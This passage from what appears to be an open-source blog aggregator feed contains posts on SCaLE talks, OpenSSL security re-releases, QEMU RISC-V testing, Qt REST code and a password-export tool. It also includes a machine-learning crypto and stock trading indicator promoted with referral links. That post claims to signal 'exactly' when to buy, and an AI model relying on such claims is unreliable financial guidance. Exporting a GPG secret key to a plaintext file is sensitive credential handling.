It was nice to run into Dave Neary, whose Open Source in Business series on YouTube got me some clues I need for my talk too. He gave a couple multiarch talks, and though they were focused on ARM64 it was still nice to hear someone talk about multiarch manifests and containers, since I bump into some confusion from community members about them. He gave some nice demos using Argo CD and Argo Rollouts that I’d like to take a closer look at.

Speaking of multiarch, I then enjoyed a talk by Amy Parker whose talk focused on QEMU user mode. I’ve used QEMU on and off over the years, but honestly since I’ve shifted my focus to bare metal testing, I’ve used it a lot less. I don’t have a lot of experience with the user mode emulation that she covered, which made the talk a fascinating dive through binfmt_misc, ld_preload, and chroots to accomplish a lot of interesting work across architectures. She also talked about using FatELF to create universal binaries, which wasn’t even on my radar. So many fun things to dig into!

Saturday evening I had the pleasure of joining Nathan Handler for dinner at a sushi place nearby. I’ve now had my first sake bomb. But just one!

Happy Sunday! The opening keynote was presented by Mark Russinovich of Microsoft, who, poor guy, spent the first 15 minutes of his talk convincing us that in spite of being known for Windows Internals, both he and Microsoft have a lot of Linux credibility. With that taken care of, he dove straight into a great tour of open source security solutions and how they relate to the growing interest in secure supply chains today. I was happy to see the security components of my own talk from the previous day reiterated, but more broadly, I’m glad SCaLE brought someone in to talk about all of this. Open source has made tremendous strides in recent years related to security, but it doesn’t get as much attention as I believe it deserves, both in terms of usage and awareness, and having more people to work on it, and its importance is only increasing.

The expo hall at SCaLE is always a delightful place to walk through, and this year was no exception. They have a wonderful mix of big, paid booth areas for larger companies, and smaller booths for non-profits, so it always brings a great assortment of people. I had a lovely time catching up with my friends from the Ubuntu community. It’s always a pleasure to catch up with Nathan Haines and George Mulak who’ve been quite involved in the Los Angeles computing scene for years. It was nice to get some time to chat with Erich Eickmeyer, lead for Ubuntu Studio, and I was pleased to learn that his wife, Amy Eickmeyer, is a professional educator and actually got the Edubuntu flavor off the ground again back in 2022! I had planned on a DIY lockdown of Ubuntu for our kids this year, but I’ll have to take a look at Edubuntu now.

And the RISC-V booth was on my list too, as I’m always eager to learn the latest (you know me and architectures!). That’s where I met a fellow IBMer who was involved with the Works with RISC-V community which I didn’t even know existed. Cool. I was able to ask about HDMI support on my VisionFive 2 and learn that there should be mainline kernel support soon, and learned that people are saying good things about the latest RISC-V mainboard for the Framework laptop. My kids like to remind me I have a lot of laptops, so I’ve held off on Framework for now, but I’ll have to take a closer look at this one.

I also went to a talk by Brendan O’Leary on From COBOL to Claude: What Hopper Knew (actually, his slides swapped “Claude” for “Cursor” (the AI coding environment). Things in AI move fast). I enjoyed this talk and his premise, given all I’ve said above about the inevitability of AI in our industry. He began by talking about Rear Admiral Grace Hopper’s desire to make “programming” computers a more human-language driven endeavor, and how that began with her FLOW-MATIC and ultimately COBOL, which is still widely used today. His belief is that she’d be happy that anyone today can vibe code their own application, and made the same comparison I tend to do with evolution of coding. AI does have very, very important things that differentiate it from the previous major evolutionary steps of computer programming, but I just don’t believe that things like being nondeterministic are enough to so forcefully push back on it. Most of this talk continued by talking about how software engineering practices that professionals are using will simply need to be adjusted to have a lot more planning and a lot less hands-on coding, and with these research, plan, and implement frameworks in place we’ll be able to trust the results AI comes up with a lot more. I think he’s right.

The conference concluded with a walk down network memory lane with Professor Douglas Comer. I love computer history, so I was familiar with a lot of the general touch points he discussed, but since his focus was on networking there were a few things I’ve missed along the way. He talked about magentic tape mailers, how Endianness caused problem with computers communicating in the early days, and how a technology like TCP/IP or even the client/server model were not obvious. His stories around how phone companies charge for transit and the sorted path to get households connected to internet was really insightful, especially when paired with the observations from Cindy Cohn the day before.

Huge thanks to all the volunteers who makes SCaLE happen, I’m really happy I could make it down this year, and after seeing how many kids where there, I’m going to make plans to at least bring our eldest down for the weekend next year.

]]> Elizabeth K. Joseph Security-only OpenSSL tarball releases for CVE-2026-2673 http://blog.surgut.co.uk/2026/03/security-only-openssl-tarball-releases.html http://blog.surgut.co.uk/2026/03/security-only-openssl-tarball-releases.html Mon, 16 Mar 2026 02:11:00 GMT On Friday May the 13th OpenSSL project has published advisory details for CVE-2026-2673. The CVE is treated as non-important by the project. The patches are only provided as commits on the stable branches. No git tag, no precise fixed version, and no source tarballs provided.

The patches that were merged to openssl-3.5 and openssl-3.6 branches were not based on top of the last stable point release and did not split code changes & documentation updates. It means that cherry-picking the commits referenced in the advisory will always lead to conflicts requiring manual resolution. It is not clear if support is provided for snapshot builds off the openssl-3.5 and openssl-3.6 branches. As the builds from the stable branches declare themselves as dev builds of the next unreleased point release. For example, in contrast to projects such as vim and glibc, with every commit to stable branches explicitly recommended for distributors to ship and is supported.

I have requested OpenSSL upstream in the past for the security fixes to branch off the last point release, commit code changes separate from the NEWS.md / CHANGES.md updates, and then merge that into the stable branches. This way the advisory that recommends cherry-picking individual commits, would actually apply conflict free - at no additional maintenance burden to the OpenSSL project and everyone who has to cherry-pick these updates. There is a wide support voiced for such strategy by the OpenSSL distributors and the OpenSSL Corporation. But this is not something that OpenSSL Project is yet choosing to provide.

To avoid duplication of work, I am starting to provide stable OpenSSL re-releases of the last upstream tagged stable point release with security only patches split into code-change only; documentation update; version update to create security only source tarball releases that are easy to build; easy to identify by the security scanners; and which cherry-pick changes without conflicts. The first two releases are published on GitHub as immutable releases with attestations:

If there are any other branches, CVEs, point releases that would be useful for similar style releases, do open discussion on the GitHub Project.

If you find these releases useful, do star the project and download these releases. If this project gets popular, I hope that OpenSSL upstream will reconsider their releases strategy for all security releases. If you have support contracts with OpenSSL - please request OpenSSL corporation to release tagged releases and versioned tarballs.

]]> Dimitri John Ledkov Calculating a rolling average without keeping all the numbers around https://www.kryogenix.org/days/2026/03/14/calculating-a-rolling-average-without-keeping-all-the-numbers-around/ https://www.kryogenix.org/days/2026/03/14/calculating-a-rolling-average-without-keeping-all-the-numbers-around/ Sat, 14 Mar 2026 23:23:00 GMT OK, if you know anything about maths you will read this and shake your head in dismay because it's just obvious and why did I even need to think about it? But... I was quite pleased to think this through, so I thought I'd write it down in case anybody else finds it useful.

So. Your job is to calculate the average of a set of numbers. This is not hard: the average value1 is the sum of the numbers divided by the count of the numbers. So the average of 2, 7, 8 is

2+7+8   17
----- = -- = 5.666…
  3      3

You know that bit already. But now I say: ok, here's a new number to add to the end of the list: 12. What's the average now?

One obvious way is to say, well, we know the numbers are 2, 7, 8, so I'll just re-do the calculation with 2, 7, 8, 12:

2+7+8+12   29
-------- = -- = 7.25
    4       4

But that means that you have to keep all the numbers around forever. What if the list of numbers is big? That seems like hassle. It would be nice if we were able to calculate the average just from knowing what the previous average was, wouldn't it? So you know 5.666… and you get told that the new number to add is 12: how do you get the new average of 7.25 just from that?

I needed to do this and didn't know how, so I sat and thought about it for a short time and it's actually not hard, which was good; I'd just never considered it. So, as long as you know the "current" average number, and you know how many numbers there were in the list, you're all good. Consider: we know the current average is 5.666… and that there were 3 numbers in the list that made that up. We don't need to know what the 3 numbers were (2, 7, 8) because if the three numbers we'd been given before were all 5.666… -- that is, the list of numbers up to now was 5.666…, 5.666…, 5.666… then when we took the average of that list, it would still be 5.666…, because that's what an average means. So, even though we don't know what the 3 numbers were, we can pretend that we do, and now say that our new list is 5.666…, 5.666…, 5.666…, 12. And we can work out the average of that! Or, put another way, we know that the average is

         sum of all numbers
5.666… = ------------------
          count of numbers

and because we can pretend that all the numbers were the average, we can say that the sum of all numbers is just the current average multiplied by the count:

         5.666…, 5.666…, "count" times
5.666… = -----------------------------
                   count

and so the new average is:

              (5.666…, 5.666…, "count" times) + 12
new average = -----------------------------
                       count + 1

which is

              (current average × count) + new number
new average = --------------------------------------
                          count + 1

So if you know the current average a, how many numbers there have been so far c, and the new number n, then the new a = ((a*c)+n)/(c+1). And you only need to keep a and c around, rather than the whole list of numbers.

Simple? Yes. But it was a useful thought for me that I could actually do this without having to keep the list around, which was handy in order to be able to calculate pi very inefficiently with coin flips on a BBC Micro, a perfectly reasonable thing to do on your Saturday evening in my opinion.

  1. maths people, I mean mean, obvs ↩
]]> Stuart Langridge Running RISC-V in a VM to test my snaps https://blog.popey.com/2026/02/running-risc-v-in-a-vm-to-test-my-snaps/ https://blog.popey.com/2026/02/running-risc-v-in-a-vm-to-test-my-snaps/ Sat, 21 Feb 2026 15:00:00 GMT tl;dr: I wanted to test one of my snaps on riscv64. I don’t own any RISC-V hardware. I set up a QEMU VM on my ThinkPad, installed Ubuntu desktop inside it, and it actually worked. Slowly. Very slowly. But it worked.

Notepad Next built for riscv processors, running in an Ubuntu VM

I maintain nearly 50 snaps in the Snap Store. Most of the time I test things on my ThinkPad running Ubuntu 24.04 (amd64), or my MacBook Air running Ubuntu Asahi (arm64). That covers the two architectures most people care about. But some of my snaps are built for more… exotic architectures. Things like s390x, ppc64el, and riscv64.

Now, I don’t care massively about s390x or ppc64el – my wife (and UK house construction) has made it abundantly clear that an IBM mainframe in the spare room is a non-starter – but I do care about RISC-V. It feels like the future. Or at least, a very exciting chunk of the future.

The problem? I don’t own any RISC-V hardware.

The hardware question

I recently updated Notepad Next to the latest upstream release and, as I was feeling smug about shipping the update, a tiny voice in the back of my head asked: “Did you actually test this on riscv64?”

Reader, I had not.

Notepad Next is a bit different from some of my other snaps. A lot of what I publish is essentially repackaged upstream .deb files – I only build for the architectures the upstream project builds for. But Notepad Next is built from source, which means I can (and do) target riscv64. Same story for ppc64el and s390x, actually.

Some of my other snaps need specific build tooling or components that haven’t made it to those architectures yet – I haven’t done a proper audit of which ones and why, but it’s on the list. Point is: the Notepad Next riscv64 snap exists and is in the store. Whether it works was the question I’d never answered.

So I started a thread on the Ubuntu Discourse asking whether there was a reasonably priced RISC-V board I could buy that’d run Ubuntu desktop well enough to do basic snap testing. Even just “does the window paint?” would do me.

The response from Heinrich (@xypron) was quick and genuinely excellent. The short version: don’t buy hardware quite yet. Here’s why, and it’s actually quite interesting.

A quick detour into ISA profiles

RISC-V is an open instruction set architecture, which means chip designers have a lot of latitude in what they implement. That’s great for flexibility, but software portability requires some agreement on a baseline. Enter the RVA profiles – essentially standardised bundles of RISC-V extensions that application processors must support.

Up to Ubuntu 24.04 (Noble) and core24, Ubuntu targets RVA20 – a relatively minimal baseline. With Ubuntu 25.10 (Questing) and core26, the requirement jumps to RVA23, which mandates a much richer set of features including the Vector extension (handy for AI/ML workloads and generally going faster) and the Hypervisor extension. RVA23 was only ratified in October 2024.

Here’s the fun bit: as of right now, there are essentially zero RVA23-compliant RISC-V boards you can actually buy. They’re coming – a handful of promising-looking boards from Sipeed, Milk-V, Banana Pi and others are expected around April/May 2026 – but they’re not on shelves yet. Even the Orange Pi RV2, released in March 2025, is RVA20 only, which means it already can’t run Ubuntu 25.10. Ouch.

So buying hardware right now feels like bad timing. A VM, on the other hand, is free and available immediately.

Getting the VM running

Heinrich pointed me at the Canonical docs for running Ubuntu RISC-V in QEMU, which are pretty solid. I hit one snag immediately: the docs reference a -cpu rva23s64 flag in the live server image section, but when I tried it on my Ubuntu 24.04 ThinkPad, QEMU spat back:

qemu-system-riscv64: unable to find CPU model 'rva23s64'

Turns out the version of QEMU in Ubuntu 24.04 is too old to know about RVA23. You need Ubuntu 25.10 or later for that. Since I’m firmly in the LTS camp and have no intention of running a non-LTS release on my daily driver just to get a newer QEMU, I dropped the -cpu flag and carried on with the default CPU emulation – which gives you RVA20, perfectly fine for testing core24-based snaps.

The docs do mention this, to be fair, but the caveat is tucked away in a callout box earlier in the page. If, like me, you navigate directly to the “live server image” section using the right-hand nav, you’ll miss it entirely. I’ve fed that back; hopefully it’ll get bumped up to the prerequisites section where it belongs.

Anyway! Here’s the install script I ended up using, with a couple of tweaks (I bumped the RAM up to 16GB and gave it 4 CPUs because I’m impatient and have RAM to burn):

#!/bin/bash
# https://canonical-ubuntu-hardware-support.readthedocs-hosted.com/boards/how-to/qemu-riscv/
qemu-system-riscv64 \
  -machine virt,acpi=off -m 16G -smp cpus=4 \
  -nographic \
  -kernel /usr/lib/u-boot/qemu-riscv64_smode/u-boot.bin \
  -netdev user,id=net0 \
  -device virtio-net-device,netdev=net0 \
  -device virtio-rng-pci \
  -drive file=disk,format=raw,if=virtio \
  -drive file=ubuntu-24.04.4-live-server-riscv64.iso,format=raw,if=virtio

The server installer runs headlessly (no GUI during install, which is fine). Once Ubuntu Server was installed on the virtual disk, and rebooted, I installed the desktop with sudo apt install ubuntu-desktop. That took a while, but when it finished, I rebooted with a slightly different launch script that adds a virtual GPU and input devices so I can actually get a desktop:

#!/bin/bash
qemu-system-riscv64 \
  -machine virt,acpi=off -m 16G -smp cpus=4 \
  -kernel /usr/lib/u-boot/qemu-riscv64_smode/u-boot.bin \
  -netdev user,id=net0 \
  -device virtio-net-device,netdev=net0 \
  -device virtio-rng-pci \
  -device virtio-gpu-pci \
  -device virtio-keyboard-pci \
  -device virtio-tablet-pci \
  -display gtk \
  -serial mon:stdio \
  -drive file=disk,format=raw,if=virtio

The key additions for desktop use are virtio-gpu-pci (so you get a display), virtio-keyboard-pci, virtio-tablet-pci, and -display gtk to open a window on the host. After a bit of fiddling – and a lot of waiting, because this thing is not quick – I got a working Ubuntu GNOME desktop running inside a RISC-V VM on my ThinkPad.

I was genuinely quite chuffed.

Did the snap work?

Yes! See screenshot at the top of this blog.

I just snap install‘ed Notepad Next (it’s a classic snap, so --classic needed), it launched, the window painted, and I could use it. I’m not going to pretend the experience was snappy (pun very much intended) – it’s CPU emulation all the way down, so every riscv64 instruction is being translated in software by QEMU running on my Intel i5. It’s impressively sluggish. But for the purposes of “does this thing actually run on riscv64”, it absolutely does the job.

This isn’t something I’d use as a daily development environment. It’s more like an on-demand sanity check: spin it up, install the snap, verify it launches, move on with your life.

Aside: I guess I could add some automation here, to spin up a machine and test each of these during the build in a GitHub action…

What about my other snaps?

Honestly, this whole exercise made me realise I should do a proper audit of my snap portfolio and riscv64 support. My current understanding is roughly:

  • Most of my snaps are amd64 only – either because the upstream doesn’t build for other architectures, or because I’m repackaging .deb files and only publishing what upstream provides.
  • telegram-asahi is arm64 only – that one exists specifically for the Apple Silicon Linux crowd.
  • Some build from source and may target riscv64 (and ppc64el and s390x) just fine.
  • Various others are somewhere in between – I suspect some are missing riscv64 builds due to missing build dependencies or tools that haven’t been ported yet, but I haven’t actually investigated.

The plan is to go through each snap and understand why it does or doesn’t build for the interesting architectures, and fix what I can. I’ll report back in another blog post.

What’s next for RISC-V hardware?

If you’re thinking about picking up a RISC-V board right now: it’s complicated. Anything currently available is RVA20, which means it’ll run Ubuntu 24.04 but not Ubuntu 25.10. The genuinely exciting RVA23 hardware (with proper vector support, better performance, etc.) is expected to land around April-May 2026. The DeepComputing Framework laptop mainboard in particular looks very interesting – a RISC-V chip in a Framework 13. Yes please.

For now though, QEMU is your friend. It’s a bit like going to the gym – tedious, slow, not something you’d do for fun – but you come away knowing your snap actually works on the architecture it claims to support. And that’s got to count for something.

Thanks to Heinrich Schuchardt (xypron) from Canonical for the fast and helpful response on Discourse, and for pointing me at the docs.

]]> Alan Pope Introducing pass-exporter - Export your passwords from pass to bitwarden csv format https://foursixnine.io//blog/security/software/2026/02/19/exportingyourpasswordsfrompasstobitwardencsvformat.html https://foursixnine.io//blog/security/software/2026/02/19/exportingyourpasswordsfrompasstobitwardencsvformat.html Thu, 19 Feb 2026 00:00:00 GMT This is a rudimentary attempt (that surprisingly works) to export passwords from pass to Bitwarden csv format

As a requisite you need to have the private key that protects the passwords, exported as an ASCII armored key (Or whatever the nomenclature is), the important bit is that you export it:

gpg --export-secret-keys --armor $YOURFINGERPRINT > private-key.asc

To run simply run, you need to clone the sources from the git repo and inside the directory run:

go run . --private-key private-key.asc --identity alice@example.com

Alternatively you can build it and then run it (Sky is the limit)

You can check usage too by passing --help, It runs fairly fast, and in the end up with a pass_exported_passwords.csv (again see program help for defaults).

A feature that I’d like to add is a support for user plugins, to i.e check if an otp token is duplicated, or if a password is being reused, but that’s for the future

As usual PRs are welcome, specially for adding tests.

PS: “Maybe” I fix the program to be able to be installed via go install $foo (or somebody submits a PR :D)

https://github.com/foursixnine/pass-exporter

]]> Santiago Zarate Python Mutable References with Caching https://soumyadghosh.github.io/website/blog/python-mutable-reference-caching/ https://soumyadghosh.github.io/website/blog/python-mutable-reference-caching/ Sat, 14 Feb 2026 18:08:23 GMT So, while working with caching and scrapping, I understood the difference between immutable and mutable objects/datatypes very clearly. I had a scenario, where I am webscraping an API, the code looks like this.

from aiocache import cached

@cached(ttl=7200)
async def get_forecast(station_id: str) -> list[dict]:
 data: dict = await scrape_weather(station_id)
 # doing some operation
 return forecasts

and then using this utility tool in the endpoint.

async def get_forecast_by_city(
 param: Annotated[StationIDQuery, Query()],
) -> list[UpcomingForecast]:
 forecasts_dict: list[dict] = await get_forecast(param.station_id)
 forecasts_dict.reversed()

 forecasts: deque[UpcomingForecast] = deque([])
 for forecast in forecasts_dict:
 date_delta: int = (
 date.fromisoformat(forecast["forecast_date"]) - date.today()
 ).days
 if date_delta <= 0:
 break
 forecasts.appendleft(UpcomingForecast.model_validate(forecast))

 return list(forecasts)

But, here is the gotcha, something I was doing inherently wrong. Lists in python are mutable objects. So, reversing the list modifies the list in place, without creating a new reference of the list. My initial approach was to do this

]]> Soumyadeep Ghosh Smart DCA Strategy – Meet DCAi That Times the Dip The Open Source Machine Learning https://utappia.org/2026/02/13/smart-dca-strategy-machine-learning-dcai/ https://utappia.org/2026/02/13/smart-dca-strategy-machine-learning-dcai/ Fri, 13 Feb 2026 17:57:58 GMT Is your Dollar Cost Averaging strategy “blind”? Buying on the 1st of the month is disciplined, but buying during a crash is profitable. Here is how the open source Smart DCA Strategy, based on K-Nearest Neighbors (KNN) algorithm can help you aggressively buy the dips and preserve cash when the market is overheated.

A few months ago, I analyzed a research paper on “Smart DCA Strategy” and developed a TradingView PineScript indicator to implement it. The original concept was useful—it calculated the ideal investment amount based on price levels—but it lacked a crucial element: Timing.

I didn’t just want to know how much to buy with my DCA strategy;

I needed to know when to deploy that capital for maximum, long term impact.

By integrating Machine Learning into the Smart DCA Strategy, I programmed the indicator to identify “fair value” based on historical price action. The result? A system that signals exactly when to enter and how much to commit, giving you the psychological confidence that you aren’t just buying at random.

I call it DCAi (DCA + AI)…. yeah I know right… what a name 😛

DCAi – The Machine Learning Strategy That Times the Dip

What is DCAi?

Think of DCAi as an intelligent Ai assistant that scans market history inside TradingView.

  • When the market rallies: The assistant warns you: “Do not buy now. The price is overextended. Keep your cash in the ‘Savings Pot’ and wait for the next correction.”
  • When the market drops: It scans historical data to see if similar price structures in the past led to a recovery. If the algorithm identifies a high statistical probability of a bounce, it signals a Buy.

Why DCAi Smart DCA Strategy Outperforms Traditional DCA

The fact is that the standard DCA builds discipline. However, it is a static strategy — you buy the same amount on the same day, regardless of whether the market is crashing or “mooning“. DCAi is a Smart DCA Strategy that introduces three dynamic concepts to optimize your returns:

1. Dynamic Sizing (The Rho Parameter)

In your standard monthly DCA, you invest $100 whether Bitcoin is at $100,000 or $20,000.

In contrast, the DCAi the Rho parameter to adjust your exposure.

  • How it works: instead of a fixed amount, the DCAi measures the deviation of the current price from its historical average.
    • Flat Market: It invests your base budget.
    • Market Crash: If the price drops significantly (e.g., -40%), the algorithm aggressively increases the buy amount, allowing you to lower your average entry price faster.

2. Statistical Confidence (KNN Algorithm)

The DCAi system doesn’t “predict” the future; it compares the present to the past using the K-Nearest Neighbors (KNN) algorithm.

  • How it works: KNN looks for historical moments where technical indicators (like volume and volatility) mirrored today’s price action. If the majority of those historical instances resulted in an uptrend, the system generates a signal with a “Confidence Score.”

3. The “Savings Pot” in the DCAi – Smart DCA Strategy

If the market is in a parabolic uptrend (“Mooning”) and there are no safe entry points, DCAi will try to prevent you from buying the top.

  • How it works: If the Machine Learning model detects low confidence for the month, it halts trading. Your monthly budget is moved to a virtual Savings Pot.
  • The Advantage: This cash accumulates. When a major correction finally occurs, you have a stockpile of “dry powder” ready to deploy at the bottom.

The Limitations: No Algorithm is Magic so is the DCAi Smart DCA Strategy

DCAi is a powerful tool, but it has limitations you must understand and accept:

  • False Signals: Historical probability does not guarantee future performance. The market can signal a buy, yet the price may continue to fall.
  • Overfitting: The algorithm learns from known history. If a “Black Swan” event occurs (a scenario never seen before), the model may misinterpret the data.
  • Lag: DCAi confirms signals on candle closes (e.g., Daily close). In a rapid V-shape recovery, you might buy slightly higher than the absolute bottom.
  • Platform Limits: TradingView limits the script’s “memory” to about 3,000 candles. For this reason, Daily (D) or Weekly (W) timeframes are highly recommended.

Recommendation: Always backtest and forward-test using Paper Trading for 1-3 months before using real capital.

Step-by-Step Installation Guide

Ready to automate your analysis? Follow these steps to set up DCAi on TradingView.

1. Install the Script

Open your chart on TradingView and locate the Pine Editor tab at the bottom.

Clear any existing code in the editor.

DCAi pine script

Copy the official DCAi code:

dcai.pine

Paste the code, click Save, and then select “Add to chart”.

dcai add to the chart

Once you add it, it will start the training to past price action data and it will look like :

Smart DCA Strategy DCAi Strategy Indicator

2. Asset Configuration

DCAi requires different settings for Crypto versus Stocks. You must configure it for the asset you are trading.

DCAi indicator Smart DCA Strategy
  1. Click the Settings (gear icon) on the DCAi indicator.
  2. Select your Asset Class (Crypto, Stocks, Indices, or Commodities).
  3. Set your Start Date (e.g., the 1st of the current month).
  4. Set your Base Monthly Budget (e.g., $100). This is the amount you would spend in a standard DCA strategy.
  5. Crucial: Ensure your chart is on the Daily Timeframe.
  6. Select the ticker based on the Asset Class you choose

3. Smart DCA Strategy Execution

Once set up, patience is key.

  • No Signal? If a month passes without a signal, do not spend your budget. Keep it in your “account”. The script will automatically add the months amount to your “Savings Pot” on the dashboard.
  • Buy Signal? The chart will display a label with the exact amount to invest.
    • Example: If the label says $124, it means the algorithm is using your $100 monthly budget plus $24 from your accumulated savings to buy the dip.
Smart DCA Strategy DCAi settings

Where to Execute Your Trades

Once DCAi gives the signal, you need a platform with low fees and flexible execution. Here are two recommendations with signup bonuses:

For Bitcoin (The “Bitcoin Only” Strategy):

Strike is the superior choice for pure Bitcoin accumulation due to its minimal fees.

For ETFs & Stocks (e.g., S&P 500):

If you are building a diversified portfolio, Trading 212 is ideal for fractional investing (you can invest as little as €1).

  1. 👉 Open a Trading 212 account and get a free share (Promo valid until March 4, 2026).
  2. Create a free virtual Visa card and add it to Apple/Google Wallet (Earn 1.5% cashback on investments. Promo ends in 02/28 ).
  3. Instant, fee-free deposits via Google/Apple Pay.

Conclusion

The goal of any robust investment strategy is to remove emotion from the equation. DCAi achieves this by adding a layer of algorithmic intelligence to the proven discipline of Dollar Cost Averaging. Whether you are stacking Sats or accumulating ETFs, having a machine learning model tell you when to be aggressive and when to sit on your hands is the ultimate portfolio upgrade.

Next Step: Download the code, run your own backtests, and see how much lower your average entry price could be!

Join the Community:

Did you find settings that work perfectly for a specific asset? Share your results in our GitHub Discussions:

Disclaimer: Investments involve risk. DCAi is a technical analysis tool, not financial advice or a guarantee of profit. Always conduct your own due diligence.

The post Smart DCA Strategy – Meet DCAi That Times the Dip The Open Source Machine Learning appeared first on Utappia.

]]> Salih Emin REST API Development with Qt 6 https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/ https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/ Wed, 14 Jan 2026 11:58:06 GMT This post describes an experiment using Qt 6.7’s REST APIs to explore Stripe’s payment model, and what I learned building a small desktop developer tool.

Recent Qt releases have included several conveniences for developing clients of remote REST APIs. I recently tried it out with the Stripe payments REST API to get to grips with the Qt REST API in the real world. The overloading of the term API is unhelpful, I find, but hopefully not too confusing here.

As with almost everything I try out, I created Qt desktop tooling as a developer aid to exploring the Stripe API and its behavior. Naming things is hard, but given that I want to put a “Q” in the name, googling “cute stripes” gives lots of hits about fashion, and the other too-obvious-to-say pun, I’ve pushed it to GitHub as “Qashmere“:

setAlternatingRowColors(true);

Developers using REST APIs will generally be familiar with existing tooling such as Postman and Bruno, for synthesizing calls to collections of REST APIs. Indeed, Qashmere uses the Stripe Postman JSON definition to present the collection of APIs and parameters. Such tools have scripting interfaces and state to create workflows that a client of the REST API needs to support, like “create a payment, get the id of the payment back from the REST API and then cancel the payment with the id”, or “create a payment, get the id of the payment back from the REST API and then confirm it by id with a given credit card”.

So why create Qashmere? In addition to REST APIs, Stripe maintains objects which change state over time. The objects remain at REST until acted on by an external force, and when such an action happens a notification is sent to clients about those state changes, giving them a chance to react. I wanted to be able to collect the REST requests/responses and the notified events and present them as they relate to the Stripe objects. Postman doesn’t know about events or about Stripe objects in particular, except that it is possible to write a script in Postman to extract the object which is part of a JSON payload. Postman also doesn’t know that if a Payment Intent is created, there are a subset of next steps which could be in a workflow, such as cancel, capture or confirm payment etc.

Something that I discovered in the course of trying this out is that when I confirm a Payment Intent, a new Charge object is created and sent to me with the event notification system. Experimental experiences like that help build intuition.

Stripe operates with real money, but it also provides for sandboxes where synthetic payments, customers etc can be created and processed with synthetic payment methods and cards. As Qashmere is only useful as a developer tool or learning aid, it only works with Stripe sandboxes.

Events from Stripe are sent to pre-configured web servers owned by the client. The web servers need to have a public IP address, which is obviously not appropriate for a desktop application. A WebSocket API would be more suitable and indeed the stripe cli tool uses a WebSocket to receive events, but the WebSocket protocol is not documented or stable. Luckily the stripe cli tool can be used to relay events to another HTTP server, so Qashmere runs a QHttpServer for that purpose.

Implementation with Qt REST API

The QRestReply wraps a QNetworkReply pointer and provides convenience API for accessing the HTTP return code and for creating a QJsonDocument from the body of the response. It must be created manually if using QNetworkAccessManager directly. However the new QRestAccessManager wraps a QNetworkAccessManager pointer, again to provide convenience APIs and overloads for making requests that are needed in REST APIs (though some less common verbs like OPTIONS and TRACE are not built-in). The QRestAccessManager has conveniences like overloads that provide a way to supply callbacks which already take the QRestReply wrapper object as a parameter. If using a QJsonDocument request overload, the “application/json” Content-Type is automatically set in the header.

One of the inconveniences of QRestAccessManager is that in Qashmere I use an external definition of the REST API from the Postman definition which includes the HTTP method. Because the QRestAccessManager provides strongly typed API for making requests I need to do something like:

if (method == "POST") {
    rest.post(request, requestData, this, replyHandler);
} else if (method == "GET") {
    rest.get(request, this, replyHandler);
} else if (method == "DELETE") {
    rest.deleteResource(request, this, replyHandler);
}

There is a sendCustomRequest class API which can be used with a string, but it does not have an overload for QJsonDocument, so the convenience of having the Content-Type header set is lost. This may be an oversight in the QRestAccessManager API.

Another missing feature is URL parameter interpolation. Many REST APIs are described as something like /v1/object/:object_id/cancel, and it would be convenient to have a safe way to interpolate the parameters into the URL, such as:

QUrl result = QRestAccessManager::interpolatePathParameters(
    "/v1/accounts/:account_id/object/:object_id/cancel", {
        {"account_id", "acc_1234"},
        {"object_id", "obj_5678"}
    }
);

This is needed to avoid bugs such as a user-supplied parameter containing a slash for example.

Coding Con Currency

In recent years I’ve been writing and reading more Typescript/Angular code which consumes REST services, and less C++. I’ve enjoyed the way Promises work in that environment, allowing sequences of REST requests, for example, to be easy to write and read. A test of a pseudo API could await on requests to complete and invoke the next one with something like:

requestFactory.setBaseURL("http://some_service.com");
async testWorkflow(username: string, password: string) {
    const loginRequest = requestFactory.makeRequest("/login");
    const loginRequestData = new Map();
    loginRequestData.setParam("username", username);
    loginRequestData.setParam("password", password);
    const loginResponse = await requestAPI.post(
        loginRequest, loginRequestData);
    const bearerToken = loginResponse.getData();
    requestAPI.setBearerToken(bearerToken);
    const listingRequest = requestFactory.makeRequest("/list_items");
    const listingResponse = await requestAPI.get(listingRequest);
    const listing = JSON.parse(listingResponse.getData());
    const firstItemRequest = requestFactory.makeRequest(
        "/retrieve_item/:item_id", 
        {
            item_id: listing[0].item_id
        }
    );
    const firstItem = await requestAPI.get(firstItemRequest);
}

The availability of async functions and the Promise to await on make a test like this quite easy to write, and the in-application use of the API uses the same Promises, so there is little friction between application code and test code.

I wanted to see if I can recreate something like that based on the Qt networking APIs. I briefly tried using C++20 coroutines because they would allow a style closer to async/await, but the integration friction with existing Qt types was higher than I wanted for an experiment.

Using the methods in QtFuture however, we already have a way to create objects representing the response from a REST API. The result is similar to the Typescript example, but with different ergonomics, using .then instead of the async and await keywords.

struct RestRequest
{
    QString method;
    QString requestUrl;
    QHttpHeaders headers;
    QHash<QString, QString> urlParams;
    QUrlQuery queryParams;
    std::variant<QUrlQuery, QJsonDocument> requestData;
};
struct RestResponse
{
    QJsonDocument jsonDoc;
    QHttpHeaders headers;
    QNetworkReply::NetworkError error;
    QUrl url;
    int statusCode;
};
QFuture<RestResponse> makeRequest(RestRequest restRequest)
{
    auto url = interpolatePathParameters(
        restRequest.requestUrl, 
        restRequest.urlParams);
    auto request = requestFactory.createRequest(url);
    auto requestBodyDoc = extractRequestContent(restRequest.requestData);
    auto requestBody = requestBodyDoc.toJson(QJsonDocument::Compact);
    auto reply = qRestManager.sendCustomRequest(request,
                                                restRequest.method.toUtf8(),
                                                requestBody,
                                                &qnam,
                                                [](QRestReply &) {});
    return QtFuture::connect(reply, &QNetworkReply::finished).then(
        [reply]() {
            QRestReply restReply(reply);
    
            auto responseDoc = restReply.readJson();
            if (!responseDoc) {
                throw std::runtime_error("Failed to read response");
            }
    
            RestResponse response;
            response.jsonDoc = *responseDoc;
            response.statusCode = restReply.httpStatus();
            response.error = restReply.error();
            response.headers = reply->headers();
            response.url = reply->url();
    
            return response;
        }
    );
}

The QRestAccessManager API requires the creation of a dummy response function when creating a custom request because it is not really designed to be used this way. The result is an API accepting a request and returning a QFuture with the QJsonDocument content. While it is possible for a REST endpoint to return something else, we can follow the Qt philosophy of making the most expected case as easy as possible, while leaving most of the rest possible another way. This utility makes writing unit tests relatively straightforward too:

RemoteAPI remoteApi;
remoteApi.setBaseUrl(QUrl("https://dog.ceo"));
auto responseFuture = remoteApi.makeRequest(
    {"GET",
     "api/breed/:breed/:sub_breed/images/random",
     {},
     {
         {"breed", "wolfhound"}, 
         {"sub_breed", "irish"}
     }});
QFutureWatcher<RestResponse> watcher;
QSignalSpy spy(&watcher, &QFutureWatcherBase::finished);
